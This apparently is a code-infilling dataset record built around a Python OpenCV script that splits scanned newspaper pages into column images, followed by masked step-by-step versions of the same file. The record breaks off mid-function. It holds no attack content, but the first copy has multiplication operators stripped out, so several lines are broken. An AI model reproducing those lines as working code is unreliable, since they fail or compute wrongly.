f.endswith(".jpg"): for d in range(550, 850, 50): createColumnImages(cv2.imread(os.path.join('./ocr/data/8k71pr786/', f)), '8k71pr786-'+f[0]+'-d=' + str(d), './ocr/test_images/test_contour/8k71pr786/', d) #createColumnImages(cv2.imread('./ocr/data/8k71pr786/'), 'tester2', './ocr/data/columns/tester/') """ <\|reserved_special_token_1\|> # https://github.com/jscancella/NYTribuneOCRExperiments/blob/master/findText_usingSums.py import os import io from pathlib import Path import sys os.environ['OPENCV_IO_ENABLE_JASPER']='True' # has to be set before importing cv2 otherwise it won't read the variable import numpy as np import cv2 import subprocess from multiprocessing import Pool from scipy.signal import find_peaks, find_peaks_cwt import scipy.ndimage as ndimage from IPython.display import Image as KImage #custom kernel that is used to blend together text in the Y axis DILATE_KERNEL = np.array([ [0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0]], dtype=np.uint8) # Run adaptative thresholding (is slow af compared to not using it in pipeline) def adaptative_thresholding(img, threshold): # Load image I = img # Convert image to grayscale gray = cv2.cvtColor(I, cv2.COLOR_BGR2GRAY) # Original image size orignrows, origncols = gray.shape # Windows size M = int(np.floor(orignrows/16) + 1) N = int(np.floor(origncols/16) + 1) # Image border padding related to windows size Mextend = round(M/2)-1 Nextend = round(N/2)-1 # Padding image aux =cv2.copyMakeBorder(gray, top=Mextend, bottom=Mextend, left=Nextend, right=Nextend, borderType=cv2.BORDER_REFLECT) windows = np.zeros((M,N),np.int32) # Image integral calculation imageIntegral = cv2.integral(aux, windows,-1) # Integral image size nrows, ncols = imageIntegral.shape # Memory allocation for cumulative region image result = np.zeros((orignrows, origncols)) # Image cumulative pixels in windows size calculation for i in range(nrows-M): for j in range(ncols-N): result[i, j] = imageIntegral[i+M, j+N] - imageIntegral[i, j+N]+ imageIntegral[i, j] - imageIntegral[i+M,j] # Output binary image memory allocation binar = np.ones((orignrows, origncols), dtype=np.bool) # Gray image weighted by windows size graymult = (gray).astype('float64')MN # Output image binarization binar[graymult <= result(100.0 - threshold)/100.0] = False # binary image to UINT8 conversion binar = (255binar).astype(np.uint8) return binar def Q_test(sorted_data): conf95_level = {3: .97, 4: .829, 5: .71, 6: .625, 7: .568, 8: .526, 9: .493} q_exp = abs(sorted_data[1] - sorted_data[0]) / abs(sorted_data[-1] - sorted_data[0]) print(str(abs(sorted_data[1] - sorted_data[0])) + ' / ' + str(abs(sorted_data[-1] - sorted_data[0]))) print("q_exp : " + str(q_exp)) return q_exp > conf95_level[min(9, len(sorted_data))] # static variables for clarity COLUMNS = 0 GREEN = (0, 255, 0) # parameters that can be tweaked LINE_THICKNESS = 3 # how thick to make the line around the found contours in the debug output PADDING = 10 # padding to add around the found possible column to help account for image skew and such CREATE_COLUMN_OUTLINE_IMAGES = True # if we detect that we didn't find all the columns. Create a debug image (tiff) showing the columns that were found def columnIndexes(a): """ creates pair of indexes for left and right index of the image column For example [13, 1257, 2474, 3695, 4907, 6149] becomes: [[13 1257], [1257 2474], [2474 3695], [3695 4907], [4907 6149]] """ nrows = (a.size-2)+1 return a[1np.arange(nrows)[:,None] + np.arange(2)] def convertToGrayscale(img): temp_img = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY) return temp_img def invert(img): """ Black -> White \| White -> Black """ print("invert image") # Should we edit these parameters? #3/18/21 - experimented on threshold, 140 is good. _,temp_img = cv2.threshold(img, 140, 255, cv2.THRESH_BINARY_INV) return temp_img def dilateDirection(img, debug=False): """ It is just opposite of erosion. Here, a pixel element is '1' if atleast one pixel under the kernel is '1'. So it increases the white region in the image or size of foreground object increases. Normally, in cases like noise removal, erosion is followed by dilation. Because, erosion removes white noises, but it also shrinks our object. So we dilate it. Since noise is gone, they won't come back, but our object area increases. It is also useful in joining broken parts of an object. """ print("applying dilation morph") temp_img = cv2.dilate(img, DILATE_KERNEL, iterations=15) #the more iterations the more the text gets stretched in the Y axis, 15 seems about right. ''' if debug: filepath = os.path.join(debugOutputDirectory, '%s-dilation.tiff' % basename) cv2.imwrite(filepath, temp_img) ''' return temp_img def createColumnImages(img, basename, directory): """ we sum each column of the inverted image. The columns should show up as peaks in the sums uses scipy.signal.find_peaks to find those peaks and use them as column indexes """ files = [] temp_img = convertToGrayscale(img) temp_img = invert(temp_img) temp_img = dilateDirection(temp_img) sums = np.sum(temp_img, axis = COLUMNS) sums[0] = 1000 # some random value so that find_peaks properly detects the peak for the left most column sums = sums -4 # invert so that minimums become maximums and exagerate the data so it is more clear what the peaks are peaks, _ = find_peaks(sums, distance=600) # the column indexs of the img array, spaced at least 800 away from the previous peak sum_to_index = dict((sums[peaks[i]], peaks[i]) for i in range(len(peaks))) sorted_sums = sorted(sum_to_index.keys()) ''' qr = Q_test(sorted_sums) if qr: peaks = peaks[peaks != sum_to_index[sorted_sums[0]]] ''' print("PeakNum, Sum, QRemove for " + basename) for x in peaks: print(str(x) + ', ' + str(sums[x])) print("----------") if peaks.size == 0: with open('troublesomeImages.txt', 'a') as f: print("ERROR: something went wrong with finding the peaks for image: ", os.path.join(directory, basename)) f.write(os.path.join(directory, basename) + ".jpg 0\n") return files peaks[0] = 0 # automatically make the left most column index the start of the image peaks[-1] =sums.size -1 # automatically make the right most column index the end of the image boxed = np.copy(img) if peaks.size < 6: with open('troublesomeImages.txt', 'a') as f: print("found image that is causing problems: ", os.path.join(directory, basename)) f.write(os.path.join(directory, basename) + ".jpg " + str(peaks.size) + "\n") columnIndexPairs = columnIndexes(peaks) ystart = 0 yend = img.shape[0] for columnIndexPair in columnIndexPairs: xstart = max(columnIndexPair[0]-PADDING, 0) xend = min(columnIndexPair[1]+PADDING, img.shape[1]) if not os.path.exists(directory): os.makedirs(directory) filepath = os.path.join(directory, '%s_xStart%s_xEnd%s.jpg' % (basename, xstart,xend)) files.append(filepath) crop_img = img[ystart:yend, xstart:xend] print("writing out cropped image: ", filepath) # Apply adaptative thresholding to the image with a threshold of 25/100 #crop_img = adaptative_thresholding(crop_img, 25) if not cv2.imwrite(filepath, crop_img): print('failed') if CREATE_COLUMN_OUTLINE_IMAGES: cv2.rectangle(boxed,(xstart,ystart),(xend,yend), GREEN, LINE_THICKNESS) if CREATE_COLUMN_OUTLINE_IMAGES: filepath = os.path.join(directory, '%s-contours.jpeg' % basename) cv2.imwrite(filepath, boxed, [cv2.IMWRITE_JPEG_QUALITY, 50]) # For removing the old image? # os.remove(os.path.join(directory, basename + ".jp2")) return files def invert_experiment(): test_img = cv2.imread('./ocr/data/8k71pf94q/1_commonwealth_8k71pf94q_accessFull.jpg') for thresh in range(1, 200, 20): print('writing thresh= ' + str(thresh)) _,temp_img = cv2.threshold(test_img, thresh, 255, cv2.THRESH_BINARY_INV) cv2.imwrite('./ocr/test_images/thresh='+str(thresh)+'.jpg', temp_img) def test(img, basename): #h, w, _ = img.shape #test_img = cv2.imread('./ocr/data/8k71pf94q/2_commonwealth_8k71pf94q_accessFull.jpg') test_img = convertToGrayscale(img) #ret,test_img = cv2.threshold(test_img,25,255,0) #cv2.imwrite('./ocr/test_images/contours/'+basename+'prepixelcrop.jpg', test_img) #test_img = test_img[10:h-10, 10: w-10] #y_nonzero, x_nonzero = np.nonzero(test_img) #test_img = test_img[np.min(y_nonzero):np.max(y_nonzero), np.min(x_nonzero):np.max(x_nonzero)] test_img = invert(test_img) test_img = dilateDirection(test_img) #contours,hierarchy = cv2.findContours(test_img,cv2.RETR_EXTERNAL,cv2.CHAIN_APPROX_SIMPLE) #cnt = contours[0] #x,y,w,h = cv2.boundingRect(cnt) #test_img = cv2.rectangle(img,(10,10),(w-10, h-10), GREEN, LINE_THICKNESS) #test_img = cv2.drawContours(test_img, contours, -1, GREEN, LINE_THICKNESS) #crop = test_img[y:y+h,x:x+w] cv2.imwrite('./ocr/test_images/contours/'+basename+'dilated.jpg', test_img) ''' for r in range(0, 40, 5): name = 'rank=' + str(r) + ".jpg" path = './ocr/test_images/' + name new_img = ndimage.rank_filter(test_img, rank=r, size=20) print("writing " + name) cv2.imwrite(path, new_img) ''' #cv2.imwrite('./ocr/test_images/inverted.jpg', test_img) if __name__ == "__main__": print("STARTING") for f in os.listdir('./ocr/data/gb19gw39h/'): if f.endswith(".jpg"): #test(cv2.imread(os.path.join('./ocr/data/gb19gw39h/', f)), 'gb19gw39h-' + f[0]) createColumnImages(cv2.imread(os.path.join('./ocr/data/gb19gw39h/', f)), 'gb19gw39h-' + f[0], './ocr/columns/gb19gw39h/') for f in os.listdir('./ocr/data/8k71pf94q/'): if f.endswith(".jpg"): #test(cv2.imread(os.path.join('./ocr/data/gb19gw39h/', f)), 'gb19gw39h-' + f[0]) createColumnImages(cv2.imread(os.path.join('./ocr/data/8k71pf94q/', f)), '8k71pf94q-' + f[0], './ocr/columns/8k71pf94q/') for f in os.listdir('./ocr/data/mc87rq85m/'): if f.endswith(".jpg"): #test(cv2.imread(os.path.join('./ocr/data/gb19gw39h/', f)), 'gb19gw39h-' + f[0]) createColumnImages(cv2.imread(os.path.join('./ocr/data/mc87rq85m/', f)), 'mc87rq85m-' + f[0], './ocr/columns/mc87rq85m/') ''' data_folder = './ocr/data/' for folder in os.listdir(data_folder): if folder == ".DS_Store": continue for file in os.listdir(os.path.join(data_folder, folder)): if file.endswith(".jpg"): print("calling test() on " + file) #test(cv2.imread(os.path.join(data_folder, folder, file)),folder+'-'+file[0]) createColumnImages(cv2.imread(os.path.join(data_folder, folder, file)), folder+'-'+file[0], './ocr/columns/'+folder+'/') for f in os.listdir('./ocr/data/8k71pr786/'): if f.endswith(".jpg"): for d in range(550, 850, 50): createColumnImages(cv2.imread(os.path.join('./ocr/data/8k71pr786/', f)), '8k71pr786-'+f[0]+'-d=' + str(d), './ocr/test_images/test_contour/8k71pr786/', d) #createColumnImages(cv2.imread('./ocr/data/8k71pr786/'), 'tester2', './ocr/data/columns/tester/') '''	flexible	{ "blob_id": "91d240b02b9d7a6c569656337521482d57918754", "index": 4333, "step-1": "<mask token>\n\n\ndef adaptative_thresholding(img, threshold):\n I = img\n gray = cv2.cvtColor(I, cv2.COLOR_BGR2GRAY)\n orignrows, origncols = gray.shape\n M = int(np.floor(orignrows / 16) + 1)\n N = int(np.floor(origncols / 16) + 1)\n Mextend = round(M / 2) - 1\n Nextend = round(N / 2) - 1\n aux = cv2.copyMakeBorder(gray, top=Mextend, bottom=Mextend, left=\n Nextend, right=Nextend, borderType=cv2.BORDER_REFLECT)\n windows = np.zeros((M, N), np.int32)\n imageIntegral = cv2.integral(aux, windows, -1)\n nrows, ncols = imageIntegral.shape\n result = np.zeros((orignrows, origncols))\n for i in range(nrows - M):\n for j in range(ncols - N):\n result[i, j] = imageIntegral[i + M, j + N] - imageIntegral[i, j + N\n ] + imageIntegral[i, j] - imageIntegral[i + M, j]\n binar = np.ones((orignrows, origncols), dtype=np.bool)\n graymult = gray.astype('float64') * M * N\n binar[graymult <= result * (100.0 - threshold) / 100.0] = False\n binar = (255 * binar).astype(np.uint8)\n return binar\n\n\n<mask token>\n\n\ndef convertToGrayscale(img):\n temp_img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n return temp_img\n\n\ndef invert(img):\n \"\"\" Black -> White \| White -> Black \"\"\"\n print('invert image')\n _, temp_img = cv2.threshold(img, 140, 255, cv2.THRESH_BINARY_INV)\n return temp_img\n\n\ndef dilateDirection(img, debug=False):\n \"\"\"\n It is just opposite of erosion. Here, a pixel element is '1' if atleast one pixel under the kernel is '1'. \n So it increases the white region in the image or size of foreground object increases. \n Normally, in cases like noise removal, erosion is followed by dilation. \n Because, erosion removes white noises, but it also shrinks our object. \n So we dilate it. Since noise is gone, they won't come back, but our object area increases. \n It is also useful in joining broken parts of an object. \n \"\"\"\n print('applying dilation morph')\n temp_img = cv2.dilate(img, DILATE_KERNEL, iterations=15)\n \"\"\"\n if debug:\n filepath = os.path.join(debugOutputDirectory, '%s-dilation.tiff' % basename)\n cv2.imwrite(filepath, temp_img)\n \"\"\"\n return temp_img\n\n\ndef createColumnImages(img, basename, directory):\n \"\"\"\n we sum each column of the inverted image. The columns should show up as peaks in the sums\n uses scipy.signal.find_peaks to find those peaks and use them as column indexes\n \"\"\"\n files = []\n temp_img = convertToGrayscale(img)\n temp_img = invert(temp_img)\n temp_img = dilateDirection(temp_img)\n sums = np.sum(temp_img, axis=COLUMNS)\n sums[0] = 1000\n sums = sums * -4\n peaks, _ = find_peaks(sums, distance=600)\n sum_to_index = dict((sums[peaks[i]], peaks[i]) for i in range(len(peaks)))\n sorted_sums = sorted(sum_to_index.keys())\n \"\"\"\n qr = Q_test(sorted_sums)\n if qr:\n peaks = peaks[peaks != sum_to_index[sorted_sums[0]]]\n \"\"\"\n print('PeakNum, Sum, QRemove for ' + basename)\n for x in peaks:\n print(str(x) + ', ' + str(sums[x]))\n print('----------')\n if peaks.size == 0:\n with open('troublesomeImages.txt', 'a') as f:\n print(\n 'ERROR: something went wrong with finding the peaks for image: '\n , os.path.join(directory, basename))\n f.write(os.path.join(directory, basename) + '.jpg 0\\n')\n return files\n peaks[0] = 0\n peaks[-1] = sums.size - 1\n boxed = np.copy(img)\n if peaks.size < 6:\n with open('troublesomeImages.txt', 'a') as f:\n print('found image that is causing problems: ', os.path.join(\n directory, basename))\n f.write(os.path.join(directory, basename) + '.jpg ' + str(peaks\n .size) + '\\n')\n columnIndexPairs = columnIndexes(peaks)\n ystart = 0\n yend = img.shape[0]\n for columnIndexPair in columnIndexPairs:\n xstart = max(columnIndexPair[0] - PADDING, 0)\n xend = min(columnIndexPair[1] + PADDING, img.shape[1])\n if not os.path.exists(directory):\n os.makedirs(directory)\n filepath = os.path.join(directory, '%s_xStart%s_xEnd%s.jpg' % (\n basename, xstart, xend))\n files.append(filepath)\n crop_img = img[ystart:yend, xstart:xend]\n print('writing out cropped image: ', filepath)\n if not cv2.imwrite(filepath, crop_img):\n print('failed')\n if CREATE_COLUMN_OUTLINE_IMAGES:\n cv2.rectangle(boxed, (xstart, ystart), (xend, yend), GREEN,\n LINE_THICKNESS)\n if CREATE_COLUMN_OUTLINE_IMAGES:\n filepath = os.path.join(directory, '%s-contours.jpeg' % basename)\n cv2.imwrite(filepath, boxed, [cv2.IMWRITE_JPEG_QUALITY, 50])\n return files\n\n\n<mask token>\n\n\ndef test(img, basename):\n test_img = convertToGrayscale(img)\n test_img = invert(test_img)\n test_img = dilateDirection(test_img)\n cv2.imwrite('./ocr/test_images/contours/' + basename + 'dilated.jpg',\n test_img)\n \"\"\"\n for r in range(0, 40, 5):\n name = 'rank=' + str(r) + \".jpg\"\n path = './ocr/test_images/' + name\n\n new_img = ndimage.rank_filter(test_img, rank=r, size=20)\n print(\"writing \" + name)\n cv2.imwrite(path, new_img)\n \"\"\"\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef adaptative_thresholding(img, threshold):\n I = img\n gray = cv2.cvtColor(I, cv2.COLOR_BGR2GRAY)\n orignrows, origncols = gray.shape\n M = int(np.floor(orignrows / 16) + 1)\n N = int(np.floor(origncols / 16) + 1)\n Mextend = round(M / 2) - 1\n Nextend = round(N / 2) - 1\n aux = cv2.copyMakeBorder(gray, top=Mextend, bottom=Mextend, left=\n Nextend, right=Nextend, borderType=cv2.BORDER_REFLECT)\n windows = np.zeros((M, N), np.int32)\n imageIntegral = cv2.integral(aux, windows, -1)\n nrows, ncols = imageIntegral.shape\n result = np.zeros((orignrows, origncols))\n for i in range(nrows - M):\n for j in range(ncols - N):\n result[i, j] = imageIntegral[i + M, j + N] - imageIntegral[i, j + N\n ] + imageIntegral[i, j] - imageIntegral[i + M, j]\n binar = np.ones((orignrows, origncols), dtype=np.bool)\n graymult = gray.astype('float64') * M * N\n binar[graymult <= result * (100.0 - threshold) / 100.0] = False\n binar = (255 * binar).astype(np.uint8)\n return binar\n\n\n<mask token>\n\n\ndef convertToGrayscale(img):\n temp_img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n return temp_img\n\n\ndef invert(img):\n \"\"\" Black -> White \| White -> Black \"\"\"\n print('invert image')\n _, temp_img = cv2.threshold(img, 140, 255, cv2.THRESH_BINARY_INV)\n return temp_img\n\n\ndef dilateDirection(img, debug=False):\n \"\"\"\n It is just opposite of erosion. Here, a pixel element is '1' if atleast one pixel under the kernel is '1'. \n So it increases the white region in the image or size of foreground object increases. \n Normally, in cases like noise removal, erosion is followed by dilation. \n Because, erosion removes white noises, but it also shrinks our object. \n So we dilate it. Since noise is gone, they won't come back, but our object area increases. \n It is also useful in joining broken parts of an object. \n \"\"\"\n print('applying dilation morph')\n temp_img = cv2.dilate(img, DILATE_KERNEL, iterations=15)\n \"\"\"\n if debug:\n filepath = os.path.join(debugOutputDirectory, '%s-dilation.tiff' % basename)\n cv2.imwrite(filepath, temp_img)\n \"\"\"\n return temp_img\n\n\ndef createColumnImages(img, basename, directory):\n \"\"\"\n we sum each column of the inverted image. The columns should show up as peaks in the sums\n uses scipy.signal.find_peaks to find those peaks and use them as column indexes\n \"\"\"\n files = []\n temp_img = convertToGrayscale(img)\n temp_img = invert(temp_img)\n temp_img = dilateDirection(temp_img)\n sums = np.sum(temp_img, axis=COLUMNS)\n sums[0] = 1000\n sums = sums * -4\n peaks, _ = find_peaks(sums, distance=600)\n sum_to_index = dict((sums[peaks[i]], peaks[i]) for i in range(len(peaks)))\n sorted_sums = sorted(sum_to_index.keys())\n \"\"\"\n qr = Q_test(sorted_sums)\n if qr:\n peaks = peaks[peaks != sum_to_index[sorted_sums[0]]]\n \"\"\"\n print('PeakNum, Sum, QRemove for ' + basename)\n for x in peaks:\n print(str(x) + ', ' + str(sums[x]))\n print('----------')\n if peaks.size == 0:\n with open('troublesomeImages.txt', 'a') as f:\n print(\n 'ERROR: something went wrong with finding the peaks for image: '\n , os.path.join(directory, basename))\n f.write(os.path.join(directory, basename) + '.jpg 0\\n')\n return files\n peaks[0] = 0\n peaks[-1] = sums.size - 1\n boxed = np.copy(img)\n if peaks.size < 6:\n with open('troublesomeImages.txt', 'a') as f:\n print('found image that is causing problems: ', os.path.join(\n directory, basename))\n f.write(os.path.join(directory, basename) + '.jpg ' + str(peaks\n .size) + '\\n')\n columnIndexPairs = columnIndexes(peaks)\n ystart = 0\n yend = img.shape[0]\n for columnIndexPair in columnIndexPairs:\n xstart = max(columnIndexPair[0] - PADDING, 0)\n xend = min(columnIndexPair[1] + PADDING, img.shape[1])\n if not os.path.exists(directory):\n os.makedirs(directory)\n filepath = os.path.join(directory, '%s_xStart%s_xEnd%s.jpg' % (\n basename, xstart, xend))\n files.append(filepath)\n crop_img = img[ystart:yend, xstart:xend]\n print('writing out cropped image: ', filepath)\n if not cv2.imwrite(filepath, crop_img):\n print('failed')\n if CREATE_COLUMN_OUTLINE_IMAGES:\n cv2.rectangle(boxed, (xstart, ystart), (xend, yend), GREEN,\n LINE_THICKNESS)\n if CREATE_COLUMN_OUTLINE_IMAGES:\n filepath = os.path.join(directory, '%s-contours.jpeg' % basename)\n cv2.imwrite(filepath, boxed, [cv2.IMWRITE_JPEG_QUALITY, 50])\n return files\n\n\ndef invert_experiment():\n test_img = cv2.imread(\n './ocr/data/8k71pf94q/1_commonwealth_8k71pf94q_accessFull.jpg')\n for thresh in range(1, 200, 20):\n print('writing thresh= ' + str(thresh))\n _, temp_img = cv2.threshold(test_img, thresh, 255, cv2.\n THRESH_BINARY_INV)\n cv2.imwrite('./ocr/test_images/thresh=' + str(thresh) + '.jpg',\n temp_img)\n\n\ndef test(img, basename):\n test_img = convertToGrayscale(img)\n test_img = invert(test_img)\n test_img = dilateDirection(test_img)\n cv2.imwrite('./ocr/test_images/contours/' + basename + 'dilated.jpg',\n test_img)\n \"\"\"\n for r in range(0, 40, 5):\n name = 'rank=' + str(r) + \".jpg\"\n path = './ocr/test_images/' + name\n\n new_img = ndimage.rank_filter(test_img, rank=r, size=20)\n print(\"writing \" + name)\n cv2.imwrite(path, new_img)\n \"\"\"\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef adaptative_thresholding(img, threshold):\n I = img\n gray = cv2.cvtColor(I, cv2.COLOR_BGR2GRAY)\n orignrows, origncols = gray.shape\n M = int(np.floor(orignrows / 16) + 1)\n N = int(np.floor(origncols / 16) + 1)\n Mextend = round(M / 2) - 1\n Nextend = round(N / 2) - 1\n aux = cv2.copyMakeBorder(gray, top=Mextend, bottom=Mextend, left=\n Nextend, right=Nextend, borderType=cv2.BORDER_REFLECT)\n windows = np.zeros((M, N), np.int32)\n imageIntegral = cv2.integral(aux, windows, -1)\n nrows, ncols = imageIntegral.shape\n result = np.zeros((orignrows, origncols))\n for i in range(nrows - M):\n for j in range(ncols - N):\n result[i, j] = imageIntegral[i + M, j + N] - imageIntegral[i, j + N\n ] + imageIntegral[i, j] - imageIntegral[i + M, j]\n binar = np.ones((orignrows, origncols), dtype=np.bool)\n graymult = gray.astype('float64') * M * N\n binar[graymult <= result * (100.0 - threshold) / 100.0] = False\n binar = (255 * binar).astype(np.uint8)\n return binar\n\n\n<mask token>\n\n\ndef columnIndexes(a):\n \"\"\"\n creates pair of indexes for left and right index of the image column\n For example [13, 1257, 2474, 3695, 4907, 6149]\n becomes: [[13 1257], [1257 2474], [2474 3695], [3695 4907], [4907 6149]]\n \"\"\"\n nrows = a.size - 2 + 1\n return a[1 * np.arange(nrows)[:, None] + np.arange(2)]\n\n\ndef convertToGrayscale(img):\n temp_img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n return temp_img\n\n\ndef invert(img):\n \"\"\" Black -> White \| White -> Black \"\"\"\n print('invert image')\n _, temp_img = cv2.threshold(img, 140, 255, cv2.THRESH_BINARY_INV)\n return temp_img\n\n\ndef dilateDirection(img, debug=False):\n \"\"\"\n It is just opposite of erosion. Here, a pixel element is '1' if atleast one pixel under the kernel is '1'. \n So it increases the white region in the image or size of foreground object increases. \n Normally, in cases like noise removal, erosion is followed by dilation. \n Because, erosion removes white noises, but it also shrinks our object. \n So we dilate it. Since noise is gone, they won't come back, but our object area increases. \n It is also useful in joining broken parts of an object. \n \"\"\"\n print('applying dilation morph')\n temp_img = cv2.dilate(img, DILATE_KERNEL, iterations=15)\n \"\"\"\n if debug:\n filepath = os.path.join(debugOutputDirectory, '%s-dilation.tiff' % basename)\n cv2.imwrite(filepath, temp_img)\n \"\"\"\n return temp_img\n\n\ndef createColumnImages(img, basename, directory):\n \"\"\"\n we sum each column of the inverted image. The columns should show up as peaks in the sums\n uses scipy.signal.find_peaks to find those peaks and use them as column indexes\n \"\"\"\n files = []\n temp_img = convertToGrayscale(img)\n temp_img = invert(temp_img)\n temp_img = dilateDirection(temp_img)\n sums = np.sum(temp_img, axis=COLUMNS)\n sums[0] = 1000\n sums = sums * -4\n peaks, _ = find_peaks(sums, distance=600)\n sum_to_index = dict((sums[peaks[i]], peaks[i]) for i in range(len(peaks)))\n sorted_sums = sorted(sum_to_index.keys())\n \"\"\"\n qr = Q_test(sorted_sums)\n if qr:\n peaks = peaks[peaks != sum_to_index[sorted_sums[0]]]\n \"\"\"\n print('PeakNum, Sum, QRemove for ' + basename)\n for x in peaks:\n print(str(x) + ', ' + str(sums[x]))\n print('----------')\n if peaks.size == 0:\n with open('troublesomeImages.txt', 'a') as f:\n print(\n 'ERROR: something went wrong with finding the peaks for image: '\n , os.path.join(directory, basename))\n f.write(os.path.join(directory, basename) + '.jpg 0\\n')\n return files\n peaks[0] = 0\n peaks[-1] = sums.size - 1\n boxed = np.copy(img)\n if peaks.size < 6:\n with open('troublesomeImages.txt', 'a') as f:\n print('found image that is causing problems: ', os.path.join(\n directory, basename))\n f.write(os.path.join(directory, basename) + '.jpg ' + str(peaks\n .size) + '\\n')\n columnIndexPairs = columnIndexes(peaks)\n ystart = 0\n yend = img.shape[0]\n for columnIndexPair in columnIndexPairs:\n xstart = max(columnIndexPair[0] - PADDING, 0)\n xend = min(columnIndexPair[1] + PADDING, img.shape[1])\n if not os.path.exists(directory):\n os.makedirs(directory)\n filepath = os.path.join(directory, '%s_xStart%s_xEnd%s.jpg' % (\n basename, xstart, xend))\n files.append(filepath)\n crop_img = img[ystart:yend, xstart:xend]\n print('writing out cropped image: ', filepath)\n if not cv2.imwrite(filepath, crop_img):\n print('failed')\n if CREATE_COLUMN_OUTLINE_IMAGES:\n cv2.rectangle(boxed, (xstart, ystart), (xend, yend), GREEN,\n LINE_THICKNESS)\n if CREATE_COLUMN_OUTLINE_IMAGES:\n filepath = os.path.join(directory, '%s-contours.jpeg' % basename)\n cv2.imwrite(filepath, boxed, [cv2.IMWRITE_JPEG_QUALITY, 50])\n return files\n\n\ndef invert_experiment():\n test_img = cv2.imread(\n './ocr/data/8k71pf94q/1_commonwealth_8k71pf94q_accessFull.jpg')\n for thresh in range(1, 200, 20):\n print('writing thresh= ' + str(thresh))\n _, temp_img = cv2.threshold(test_img, thresh, 255, cv2.\n THRESH_BINARY_INV)\n cv2.imwrite('./ocr/test_images/thresh=' + str(thresh) + '.jpg',\n temp_img)\n\n\ndef test(img, basename):\n test_img = convertToGrayscale(img)\n test_img = invert(test_img)\n test_img = dilateDirection(test_img)\n cv2.imwrite('./ocr/test_images/contours/' + basename + 'dilated.jpg',\n test_img)\n \"\"\"\n for r in range(0, 40, 5):\n name = 'rank=' + str(r) + \".jpg\"\n path = './ocr/test_images/' + name\n\n new_img = ndimage.rank_filter(test_img, rank=r, size=20)\n print(\"writing \" + name)\n cv2.imwrite(path, new_img)\n \"\"\"\n\n\n<mask token>\n", "step-4": "<mask token>\nos.environ['OPENCV_IO_ENABLE_JASPER'] = 'True'\n<mask token>\nDILATE_KERNEL = np.array([[0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0,\n 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0,\n 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0,\n 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0]], dtype\n =np.uint8)\n\n\ndef adaptative_thresholding(img, threshold):\n I = img\n gray = cv2.cvtColor(I, cv2.COLOR_BGR2GRAY)\n orignrows, origncols = gray.shape\n M = int(np.floor(orignrows / 16) + 1)\n N = int(np.floor(origncols / 16) + 1)\n Mextend = round(M / 2) - 1\n Nextend = round(N / 2) - 1\n aux = cv2.copyMakeBorder(gray, top=Mextend, bottom=Mextend, left=\n Nextend, right=Nextend, borderType=cv2.BORDER_REFLECT)\n windows = np.zeros((M, N), np.int32)\n imageIntegral = cv2.integral(aux, windows, -1)\n nrows, ncols = imageIntegral.shape\n result = np.zeros((orignrows, origncols))\n for i in range(nrows - M):\n for j in range(ncols - N):\n result[i, j] = imageIntegral[i + M, j + N] - imageIntegral[i, j + N\n ] + imageIntegral[i, j] - imageIntegral[i + M, j]\n binar = np.ones((orignrows, origncols), dtype=np.bool)\n graymult = gray.astype('float64') * M * N\n binar[graymult <= result * (100.0 - threshold) / 100.0] = False\n binar = (255 * binar).astype(np.uint8)\n return binar\n\n\ndef Q_test(sorted_data):\n conf95_level = {(3): 0.97, (4): 0.829, (5): 0.71, (6): 0.625, (7): \n 0.568, (8): 0.526, (9): 0.493}\n q_exp = abs(sorted_data[1] - sorted_data[0]) / abs(sorted_data[-1] -\n sorted_data[0])\n print(str(abs(sorted_data[1] - sorted_data[0])) + ' / ' + str(abs(\n sorted_data[-1] - sorted_data[0])))\n print('q_exp : ' + str(q_exp))\n return q_exp > conf95_level[min(9, len(sorted_data))]\n\n\nCOLUMNS = 0\nGREEN = 0, 255, 0\nLINE_THICKNESS = 3\nPADDING = 10\nCREATE_COLUMN_OUTLINE_IMAGES = True\n\n\ndef columnIndexes(a):\n \"\"\"\n creates pair of indexes for left and right index of the image column\n For example [13, 1257, 2474, 3695, 4907, 6149]\n becomes: [[13 1257], [1257 2474], [2474 3695], [3695 4907], [4907 6149]]\n \"\"\"\n nrows = a.size - 2 + 1\n return a[1 * np.arange(nrows)[:, None] + np.arange(2)]\n\n\ndef convertToGrayscale(img):\n temp_img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n return temp_img\n\n\ndef invert(img):\n \"\"\" Black -> White \| White -> Black \"\"\"\n print('invert image')\n _, temp_img = cv2.threshold(img, 140, 255, cv2.THRESH_BINARY_INV)\n return temp_img\n\n\ndef dilateDirection(img, debug=False):\n \"\"\"\n It is just opposite of erosion. Here, a pixel element is '1' if atleast one pixel under the kernel is '1'. \n So it increases the white region in the image or size of foreground object increases. \n Normally, in cases like noise removal, erosion is followed by dilation. \n Because, erosion removes white noises, but it also shrinks our object. \n So we dilate it. Since noise is gone, they won't come back, but our object area increases. \n It is also useful in joining broken parts of an object. \n \"\"\"\n print('applying dilation morph')\n temp_img = cv2.dilate(img, DILATE_KERNEL, iterations=15)\n \"\"\"\n if debug:\n filepath = os.path.join(debugOutputDirectory, '%s-dilation.tiff' % basename)\n cv2.imwrite(filepath, temp_img)\n \"\"\"\n return temp_img\n\n\ndef createColumnImages(img, basename, directory):\n \"\"\"\n we sum each column of the inverted image. The columns should show up as peaks in the sums\n uses scipy.signal.find_peaks to find those peaks and use them as column indexes\n \"\"\"\n files = []\n temp_img = convertToGrayscale(img)\n temp_img = invert(temp_img)\n temp_img = 